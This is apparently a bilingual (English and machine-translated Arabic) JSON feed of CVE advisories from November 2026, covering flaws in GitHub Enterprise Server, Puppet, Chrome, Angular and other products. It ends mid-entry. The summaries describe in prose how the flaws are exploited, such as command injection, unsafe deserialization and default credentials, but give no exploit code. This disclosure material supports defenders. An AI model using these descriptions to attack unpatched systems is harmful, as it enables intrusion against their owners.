[{"id":"CVE-2026-104608","cvss":7.7,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T22:49:48Z","product":"GitHub Enterprise Server","affected":[["3.19.0",null],["3.20.0",null],["3.21.0",null],["3.22.0",null]],"title":{"en":"Use-after-free vulnerability in GitHub Enterprise Server allowed remote code execution in the Git service","ar":"ثغرة استخدام الذاكرة بعد تحريرها في GitHub Enterprise Server أتاحت تنفيذ أوامر عن بُعد في خدمة Git"},"summary":{"en":"A remote code execution vulnerability was identified in GitHub Enterprise Server in the Git service (babeld). babeld held references into internal collections while calling into the SSH library, where a re-entrant callback could modify a collection and invalidate those references. An attacker with an account and SSH access to the instance could leverage this use-after-free into a controlled write and run arbitrary commands as babeld, including disclosure of its environment secrets. Exploitation required per-build memory offsets; failed attempts crashed babeld. This affected all releases prior to 3.23 and was fixed in 3.22.3, 3.21.8, 3.20.10, and 3.19.14. This vulnerability was reported via the GitHub Bug Bounty program.","ar":"تم تحديد ثغرة تنفيذ أوامر عن بُعد في GitHub Enterprise Server ضمن خدمة Git (مكتبة babeld). احتفظت babeld بمراجع داخل المجموعات الداخلية أثناء استدعاء مكتبة SSH، حيث يمكن لرد نداء إعادة الدخول تعديل المجموعة وإبطال تلك المراجع. تمكن مهاجم يملك حسابًا مصادقًا عليه ووصول SSH إلى المثيل من استغلال ثغرة استخدام الذاكرة بعد تحريرها لتحقيق كتابة خاضعة للتحكم وتشغيل شيفرة عشوائية بصلاحيات babeld، بما في ذلك كشف أسرار بيئتها. تطلب الاستغلال إزاحات ذاكرة خاصة بكل إصدار؛ وأدت المحاولات الفاشلة إلى تعطل babeld. أثرت هذه الثغرة على جميع الإصدارات السابقة لـ 3.23 وتم إصلاحها في 3.22.3 و3.21.8 و3.20.10 و3.19.14. تم الإبلاغ عن هذه الثغرة عبر برنامج مكافآت الأخطاء في GitHub."},"refs":[["https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.14","ref"],["https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.10","ref"],["https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.8","ref"],["https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.3","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"github-enterprise-server"},{"id":"CVE-2026-116650","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T22:18:00Z","product":"Tanium Threat Response","affected":[["4.9 – <4.9.480","4.9.480"],["4.12 – <4.12.353","4.12.353"],["4.17 – <4.17.333","4.17.333"]],"title":{"en":"Tanium addressed an unauthorized code execution vulnerability in Threat Response.","ar":"قامت شركة Tanium بمعالجة ثغرة تنفيذ شيفرة دون مصادقة في Threat Response."},"summary":{"en":"Tanium addressed an unauthorized code execution vulnerability in Threat Response.","ar":"قامت شركة Tanium بمعالجة ثغرة تنفيذ شيفرة دون مصادقة في Threat Response."},"refs":[["https://security.tanium.com/TAN-2026-095","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"tanium-threat-response"},{"id":"CVE-2026-82155","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-428","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T21:17:43Z","product":"Dell OS Recovery tool","affected":[["0 – <2.4.4","2.4.4"]],"title":{"en":"Dell OS Recovery tool versions, prior to 2.4.4, contain a use of Untrusted Search Path vulnerability.","ar":"تحتوي إصدارات أداة Dell OS Recovery السابقة لـ 2.4.4 على ثغرة استخدام مسار بحث غير موثوق."},"summary":{"en":"Dell OS Recovery tool versions, prior to 2.4.4, contain a use of Untrusted Search Path vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Command execution.","ar":"تحتوي إصدارات أداة Dell OS Recovery السابقة لـ 2.4.4 على ثغرة استخدام مسار بحث غير موثوق. يمكن لمهاجم دون مصادقة يمتلك إمكانية وصول محلي استغلال هذه الثغرة محتملًا، مما يؤدي إلى تنفيذ الأوامر."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000515018/dsa-2026-445-security-update-for-dell-os-recovery-tool-for-multiple-vulnerabilities","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-os-recovery-tool"},{"id":"CVE-2026-121502","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T21:17:36Z","product":"mathurvishal CloudClassroom-PHP-Project","affected":[["5dadec098bfbbf3300d60c3494db3fb95b66e7be",null],["c46ce5736007d9d6e51a8feeb9250729fe85f139",null],["dae0c5961a35a4faf28cde9e02117538f09f81c1",null]],"title":{"en":"mathurvishal CloudClassroom-PHP-Project facultydetails.php sql injection","ar":"حقن SQL في ملف facultydetails.php ضمن مشروع mathurvishal CloudClassroom-PHP-Project"},"summary":{"en":"A vulnerability was identified in mathurvishal CloudClassroom-PHP-Project. The impacted element is an unknown function of the file facultydetails.php. The manipulation of the argument deleteid leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في mathurvishal CloudClassroom-PHP-Project. العنصر المتأثر هو دالة غير معروفة في الملف facultydetails.php. يؤدي التلاعب بالوسطة deleteid إلى حقن SQL. قد يتم بدء الهجوم عن بُعد. الاستغلال متاح للعامة وقد يتم استخدامه. يستخدم هذا المنتج نموذج إصدار مستمر لتوفير التحديثات. ونتيجة لذلك، معلومات الإصدار المحددة للإصدارات المتأثرة أو المحدثة غير متوفرة. تم التواصل مع المورد مسبقًا بشأن هذا الكشف لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-121502","advisory"],["https://vuldb.com/submit/1019365","advisory"],["https://github.com/rmsbpro/Advisory/blob/main/deleteid-sqli-family.md","ref"],["https://vuldb.com/vuln/430284","ref"],["https://vuldb.com/vuln/430284/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mathurvishal-cloudclassroom-php-project"},{"id":"CVE-2026-120952","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T21:17:04Z","product":"MongoDB Atlas SQL ODBC Driver","affected":[["0.0.1 – <3.0.1","3.0.1"]],"title":{"en":"MongoDB Atlas SQL ODBC Driver writes 48-byte Extended JSON into fixed 16-byte SQL_C_GUID target, causing a 32-byte out-of-bounds write","ar":"محرك MongoDB Atlas SQL ODBC يكتب JSON موسع بحجم 48 بايت في هدف SQL_C_GUID الثابت بحجم 16 بايت، مما يتسبب في كتابة خارج الحدود بحجم 32 بايت"},"summary":{"en":"An out-of-bounds write in the MongoDB Atlas SQL ODBC Driver may be triggered when a value of a particular database type is retrieved into a fixed-width client-side target. The driver produces a textual form of the value that is longer than the fixed target the ODBC interface defines, and copies it without limiting the copy to the target's real size. A database user with basic write privileges can influence part of the data written outside the target, which may corrupt memory in the application using the driver and cause that application to terminate unexpectedly.","ar":"يمكن تحفيز كتابة خارج الحدود في محرك MongoDB Atlas SQL ODBC عند استرداد قيمة لنوع قاعدة بيانات معين في هدف ثابت العرض على جانب العميل. ينتج المحرك شكلًا نصيًا للقيمة أطول من الهدف الثابت الذي تحدده واجهة ODBC، ونسخه دون تقييد النسخ بالحجم الحقيقي للهدف. يمكن لمستخدم قاعدة بيانات يمتلك صلاحيات كتابة أساسية التأثير على جزء من البيانات المكتوبة خارج الهدف، مما قد يؤدي إلى تلف الذاكرة في التطبيق الذي يستخدم المحرك ويتسبب في إنهاء هذا التطبيق بشكل غير متوقع."},"refs":[["https://jira.mongodb.org/browse/SQL-3539","ref"],["https://www.mongodb.com/docs/sql-interface/changelog/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-atlas-sql-odbc-driver"},{"id":"CVE-2026-115732","cvss":9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-697","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T21:17:02Z","product":"Perforce Puppet Enterprise","affected":[["2023.8.0 – <2023.8.13","2023.8.13"],["2025.0.0 – <2025.12.1","2025.12.1"],["2026.0.0 – <2026.0.1","2026.0.1"]],"title":{"en":"Certificate Name Authorization Bypass","ar":"تجاوز تفويض اسم الشهادة"},"summary":{"en":"Incorrect authorization in the certificate-name matching of trapperkeeper-authorization, as used by Puppet Server, in the affected products, allows a client that holds a CA-signed certificate whose name extends or shortens an authorized hostname to be authorized as that host. This enables impersonation of other nodes and, in Puppet Enterprise, access to certificate-authority administration and remote command execution on managed nodes. Exploitation requires a certificate with a colliding name, which the certificate authority issues by approval or autosign.","ar":"يتيح التفويض غير الصحيح في مطابقة اسم الشهادة لـ trapperkeeper-authorization، كما تستخدمه Puppet Server في المنتجات المتأثرة، لعميل يحمل شهادة موقعة من هيئة شهادات يمدد أو يقصر اسم مضيف مصرح به أن يتم تفويضه كذاك المضيف. يتيح ذلك انتحال عقد أخرى، وفي Puppet Enterprise، الوصول إلى إدارة هيئة الشهادات وتنفيذ الأوامر عن بُعد على العقد المُدارة. يتطلب الاستغلال شهادة ذات اسم متطابق، والتي تصدرها هيئة الشهادات عن طريق الموافقة أو التوقيع التلقائي."},"refs":[["https://portal.perforce.com/s/cve/a91Qi000003IaJRIA0/certificate-name-authorization-bypass","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"perforce-puppet-enterprise"},{"id":"CVE-2026-119084","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-470","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T21:05:30Z","product":"AWS amazon-redshift-jdbc-driver","affected":[["0 – <2.3.0","2.3.0"]],"title":{"en":"Remote Code Execution via Unsafe Class Loading in Amazon Redshift JDBC Driver Connection Parameters","ar":"تنفيذ أوامر عن بُعد عبر تحميل فئات غير آمن في معاملات اتصال محرك Amazon Redshift JDBC"},"summary":{"en":"Unsafe reflection in the connection parameter and credentials profile handling of Amazon Redshift JDBC Driver before 2.3.0 might allow an actor who can influence the JDBC connection URL or the AWS credentials profile to execute arbitrary code in the application context, provided a suitable class is available on the application classpath. To remediate this issue, users should upgrade to version 2.3.0 or later.","ar":"قد يتيح الانعكاس غير الآمن في معامل الاتصال ومعالجة ملف تعريف بيانات الاعتماد لمحرك Amazon Redshift JDBC قبل الإصدار 2.3.0 لجهة فاعلة قادرة على التأثير على عنوان URL الخاص بتصال JDBC أو ملف تعريف بيانات اعتماد AWS تنفيذ شيفرة عشوائية في سياق التطبيق، بشرط توفر فئة مناسبة على مسار فئات التطبيق. لمعالجة هذه المشكلة، قم ترقية التطبيق إلى الإصدار 2.3.0 أو أحدث."},"refs":[["https://github.com/aws/amazon-redshift-jdbc-driver/releases/tag/v2.3.0","patch"],["https://aws.amazon.com/security/security-bulletins/2026-168-aws/","advisory"],["https://github.com/aws/amazon-redshift-jdbc-driver/security/advisories/GHSA-qrph-v96m-w2mv","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-amazon-redshift-jdbc-driver"},{"id":"CVE-2026-112354","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-1392","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T21:05:28Z","product":"Etrel d.o.o. Etrel INCH","affected":[["0 – <7.1.2","7.1.2"],["8.0.0 – <8.0.1","8.0.1"]],"title":{"en":"Etrel INCH AC Charging Station Hard-coded Default Credentials","ar":"بيانات اعتماد افتراضية مدمجة في محطة شحن Etrel INCH AC"},"summary":{"en":"Etrel INCH AC charging station management web interface prior to firmware versions 7.1.2 and 8.0.1 contains a hard-coded default credentials vulnerability that allows remote attackers to gain full Administrator access by authenticating with the factory-default account. Attackers can log in over cleartext HTTP to obtain complete charger configuration, OCPP ChargePoint Identity, and CSMS WebSocket connection details, enabling unauthorized administrative control of the charging station.","ar":"تحتوي واجهة الويب الخاصة بإدارة محطة شحن Etrel INCH AC للإصدارات السابقة لإصدارات البرامج الثابتة 7.1.2 و 8.0.1 على ثغرة بيانات اعتماد افتراضية مدمجة تتيح للمهاجمين عن بُعد الحصول على صلاحيات مسؤول كاملة من خلال المصادقة باستخدام حساب إعدادات المصنع الافتراضية. يمكن للمهاجمين تسجيل الدخول عبر بروتوكول HTTP غير المشفر للحصول على تكوين الشاحن الكامل، ومعرف نقطة شحن OCPP، وتفاصيل اتصال WebSocket لـ CSMS، مما يتيح التحكم الإداري غير المصرح به في محطة الشحن."},"refs":[["https://etrel.atlassian.net/wiki/spaces/EKC/pages/5064097853/Etrel+INCH+Firmware","patch"],["https://www.vulncheck.com/advisories/etrel-inch-ac-charging-station-hard-coded-default-credentials","advisory"],["https://etrel.com/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"etrel-d-o-o-etrel-inch"},{"id":"CVE-2026-121621","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE","Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T21:00:53Z","product":"Red Hat Red Hat OpenShift GitOps","affected":[],"title":{"en":"Github.com/argoproj-labs/argocd-image-updater: argocd-image-updater: arbitrary command execution via crafted ssh repository proxy configuration","ar":"Github.com/argoproj-labs/argocd-image-updater: argocd-image-updater: تنفيذ أوامر عشوائية عبر تكوين وكيل مستودع SSH مُصمم خصيصاً"},"summary":{"en":"A command injection vulnerability was found in Argo CD Image Updater, where a proxy URL configured on an SSH Git repository is passed unsanitized into a shell-interpreted SSH command. An attacker able to set a malicious proxy value can inject shell metacharacters to execute arbitrary commands and access credentials in the context of the Image Updater process.","ar":"تم اكتشاف ثغرة حقن أوامر في أداة Argo CD Image Updater، حيث يتم تمرير عنوان URL للوكيل المُكوّن على مستودع SSH Git دون تنقية إلى أمر SSH مُفسَّر بواسطة الصدفة (shell). يمكن للمهاجم القادر على تعيين قيمة وكيل خبيثة حقن رموز صدفة خاصة لتنفيذ أوامر عشوائية والوصول إلى بيانات الاعتماد في سياق عملية Image Updater."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-121621","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2565914","ref"],["https://github.com/argoproj-labs/argocd-image-updater/pull/1905","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-openshift-gitops"},{"id":"CVE-2026-111751","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:58:04Z","product":"angular angular","affected":[],"title":{"en":"Angular: Denial of Service via RouterLink Query Parameter Retention in Server-Side Rendering (SSR)","ar":"Angular: حجب الخدمة عبر الاحتفاظ بمعلمات استعلام RouterLink في عملية التصيير من جهة الخادم (SSR)"},"summary":{"en":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. From 21.2.0 until 21.2.25 and 22.2.1, RouterLink directives rendered during Node.js server-side rendering retain computed UrlTree instances for the lifetime of each request. When queryParamsHandling is set to merge or preserve, either per link or through defaultQueryParamsHandling, every rendered link can retain a copy of attacker-controlled query parameters in its UrlTree. When upstream proxies or load balancers forward oversized query strings without rejecting them at the edge, multiple affected links and overlapping renders can amplify heap use until the Node.js old-space heap is exhausted and the SSR worker terminates. Numeric query-parameter names increase allocation pressure but are not required, memory is released after rendering completes, and pure client-side SPAs are not affected. This issue is fixed in versions 21.2.25 and 22.2.1.","ar":"إطار عمل Angular هو منصة تطوير لبناء تطبيقات الويب للجوال سطح المكتب باستخدام TypeScript/JavaScript ولغات أخرى. من الإصدار 21.2.0 حتى 21.2.25 والإصدار 22.2.1، تحتفظ توجيهات RouterLink التي يتم تصييرها أثناء التصيير من جهة الخادم في Node.js بنسخ من كائنات UrlTree المحسوبة طوال دورة حياة كل طلب. عندما يتم تعيين queryParamsHandling على merge أو preserve، إما لكل رابط أو عبر defaultQueryParamsHandling، يمكن لكل رابط مُصيَّر الاحتفاظ بنسخة من معلمات الاستعلام التي يتحكم بها المهاجم في كائن UrlTree الخاص به. عندما تقوم الوكلاء أو موزعات الأحمال في البنية الأساسية بتحويل سلاسل الاستعلام كبيرة الحجم دون رفضها عند الطرف، يمكن للعديد من الروابط المتأثرة والتصييرات المتداخلة تضخيم استخدام الذاكرة المؤقتة حتى يتم استنفاد ذاكرة Node.js وإنهاء عامل SSR. تؤدي أسماء معاملات الاستعلام الرقمية إلى زيادة ضغط تخصيص الذاكرة ولكنها ليست مطلوبة، ويتم تحرير الذاكرة بعد اكتمال التصيير، ولا تتأثر تطبيقات الصفحة الواحدة (SPA) التي تعمل على جانب العميل حصراً. تم إصلاح هذه المشكلة في الإصدارين 21.2.25 و22.2.1."},"refs":[["https://github.com/angular/angular/security/advisories/GHSA-57xq-rjx2-v5xh","ref"],["https://github.com/angular/angular/issues/70908","ref"],["https://github.com/angular/angular/pull/70953","ref"],["https://github.com/angular/angular/commit/14793bfe4b44a36ed4b7e49a60458ec711c2b41a","ref"],["https://github.com/angular/angular/commit/a131f77d92808ad5c2f3fa4dc6fde36825f12c5a","ref"],["https://github.com/angular/angular/releases/tag/v21.2.25","ref"],["https://github.com/angular/angular/releases/tag/v22.2.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"angular"},{"id":"CVE-2026-82158","cvss":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T20:52:46Z","product":"Dell Wyse Management Suite","affected":[["0 – <2609.0.0.155","2609.0.0.155"]],"title":{"en":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Script","ar":"Dell Wyse Management Suite، الإصدارات السابقة لـ 2609.0.0.155، تحتوي على تحييد غير سليم لل مدخلات أثناء إنشاء صفحات الويب (برمجة النصوص عبر المواقع)"},"summary":{"en":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","ar":"تحتوي حزمة Dell Wyse Management Suite، الإصدارات السابقة لـ 2609.0.0.155، على ثغرة تحييد غير سليم لل مدخلات أثناء إنشاء صفحات الويب (برمجة النصوص عبر المواقع). يمكن لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى حقن نصوص برمجية."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-wyse-management-suite"},{"id":"CVE-2026-111752","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:52:16Z","product":"angular angular","affected":[],"title":{"en":"Angular: Denial of Service via Unmatched Empty-Path Outlet Route Matching in Server-Side Rendering (SSR)","ar":"Angular: حجب الخدمة عبر مطابقة مسار منفذ فارغ غير مطابق في التصيير من جهة الخادم (SSR)"},"summary":{"en":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.33, 21.2.25, and 22.2.1, @angular/router in Node.js server-side rendering fails to require auxiliary outlet URL segments to match routes configured for their outlet names. Crafted requests containing multiple unconfigured empty-path outlet groups can repeatedly evaluate the route configuration, construct duplicate ActivatedRouteSnapshot trees, execute canMatch guards and resolvers, and copy route parameters and queryParams for each outlet. An unauthenticated remote attacker can exhaust the Node.js heap or CPU and terminate an SSR worker when SSR is enabled, a route level contains an empty-path route or named outlet, upstream infrastructure forwards the request target, and the worker has a constrained heap. The allocation is transient rather than a persistent leak, and client-side SPAs and build-time prerendering are not affected. This issue is fixed in versions 20.3.33, 21.2.25, and 22.2.1.","ar":"إطار عمل Angular هو منصة تطوير لبناء تطبيقات الويب للجوال سطح المكتب باستخدام TypeScript/JavaScript ولغات أخرى. قبل الإصدارات 20.3.33 و21.2.25 و22.2.1، يفشل @angular/router في التصيير من جهة الخادم في Node.js في طلب أجزاء URL للمنافذ المساعدة لمطابقة المسارات المُكوّنة لأسمائها. الطلبات المُصممة خصيصاً التي تحتوي على مجموعات منافذ مسار فارغة متعددة غير مُكوّنة يمكنها تقييم تكوين المسار بشكل متكرر، وإنشاء أشجار ActivatedRouteSnapshot مكررة، وتنفيذ حراس ومحللات canMatch، ونسخ معاملات المسار ومعلمات الاستعلام لكل منفذ. يمكن لمهاجم عن بُعد دون مصادقة استنفاد ذاكرة Node.js أو وحدة المعالجة المركزية وإنهاء عامل SSR عند تمكين SSR، أو عندما يحتوي مستوى المسار على مسار ذي مسار فارغ أو منفذ مسمى، أو عندما تقوم البنية الأساسية بتحويل هدف الطلب، ويكون العامل ذا ذاكرة محدودة. يُعد تخصيص الذاكرة مؤقتاً وليس تسرباً دائماً، ولا تتأثر تطبيقات الصفحة الواحدة (SPA) التي تعمل على جانب العميل والتصيير المسبق وقت الإنشاء. تم إصلاح هذه المشكلة في الإصدارات 20.3.33 و21.2.25 و22.2.1."},"refs":[["https://github.com/angular/angular/security/advisories/GHSA-62vg-58rm-qff7","ref"],["https://github.com/angular/angular/issues/70932","ref"],["https://github.com/angular/angular/issues/70997","ref"],["https://github.com/angular/angular/pull/71055","ref"],["https://github.com/angular/angular/commit/a83f8119acd466b524ae0113096ed188358d6d6c","ref"],["https://github.com/angular/angular/commit/b0d2ba0f54e21cb57ea5a0ca0d8e6065f28e23a0","ref"],["https://github.com/angular/angular/commit/e9bf52aa03a3b9b302c33ffbc967ef0e1de5fb79","ref"],["https://github.com/angular/angular/releases/tag/v20.3.33","ref"],["https://github.com/angular/angular/releases/tag/v21.2.25","ref"],["https://github.com/angular/angular/releases/tag/v22.2.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"angular"},{"id":"CVE-2026-82159","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T20:50:52Z","product":"Dell Wyse Management Suite","affected":[["0 – <2609.0.0.155","2609.0.0.155"]],"title":{"en":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Script","ar":"Dell Wyse Management Suite، الإصدارات السابقة لـ 2609.0.0.155، تحتوي على تحييد غير سليم لل مدخلات أثناء إنشاء صفحات الويب (برمجة النصوص عبر المواقع)"},"summary":{"en":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","ar":"تحتوي حزمة Dell Wyse Management Suite، الإصدارات السابقة لـ 2609.0.0.155، على ثغرة تحييد غير سليم لل مدخلات أثناء إنشاء صفحات الويب (برمجة النصوص عبر المواقع). يمكن لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى حقن نصوص برمجية."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-wyse-management-suite"},{"id":"CVE-2026-121203","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T20:42:22Z","product":"Google Chrome","affected":[["157.0.8103.38 – <157.0.8103.38","157.0.8103.38"]],"title":{"en":"Use after free in Geometry in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafte","ar":"ثغرة استخدام الذاكرة بعد تحريرها في مكون Geometry في متصفح Google Chrome للإصدارات السابقة لـ 157.0.8103.38 والتي تسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصاً"},"summary":{"en":"Use after free in Geometry in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","ar":"تتيح ثغرة استخدام الذاكرة بعد تحريرها في مكون Geometry في متصفح Google Chrome للإصدارات السابقة لـ 157.0.8103.38 لمهاجم عن بُعد تنفيذ شيفرة عشوائية داخل نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: حرجة)"},"refs":[["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","ref"],["https://issues.chromium.org/issues/571065824","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-115731","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T20:40:10Z","product":"Perforce Puppet Enterprise","affected":[["2023.8.0 – <2023.8.13","2023.8.13"],["2025.0.0 – <2025.12.1","2025.12.1"],["2026.0.0 – <2026.0.1","2026.0.1"]],"title":{"en":"Report Deserialization Code Execution","ar":"تنفيذ أوامر عن بُعد عبر إلغاء تسلسل التقارير"},"summary":{"en":"Deserialization of untrusted data in the report-processing code of Puppet, as used by Puppet Server, in the affected releases, allows a client that holds any CA-signed agent certificate to execute arbitrary code on the Puppet Server as its service user by submitting a report containing a crafted rich-data type via PUT request. Where the certificate authority autosigns requests without strong verification, an unauthenticated network attacker can obtain such a certificate.","ar":"يؤدي إلغاء تسلسل البيانات غير الموثوقة في كود معالجة التقارير في Puppet، كما يُستخدم بواسطة Puppet Server في الإصدارات المتأثرة، إلى السماح للعميل الذي يمتلك أي شهادة وكيل موقعة من CA بتنفيذ شيفرة عشوائية على Puppet Server بصفتها مستخدم الخدمة الخاص بها عن طريق إرسال تقرير يحتوي على نوع بيانات غنية مُصمم خصيصاً عبر طلب PUT. وفي الحالات التي تقوم فيها هيئة إصدار الشهادات بالتوقيع التلقائي على الطلبات دون التحقق القوي، يمكن لمهاجم شبكة دون مصادقة الحصول على مثل هذه الشهادة."},"refs":[["https://www.puppet.com/security","ref"],["https://portal.perforce.com/s/cve/a91Qi000003IaHpIAK/report-deserialization-code-execution","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"perforce-puppet-enterprise"},{"id":"CVE-2026-115878","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T20:29:16Z","product":"stanza","affected":[["= 1.14.0","1.15.0"]],"title":{"en":"Stanza: RCE via pickle deserialization in the lemmatizer","ar":"ثغرة عالية الخطورة في stanza"},"summary":{"en":"## TL;DR Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a 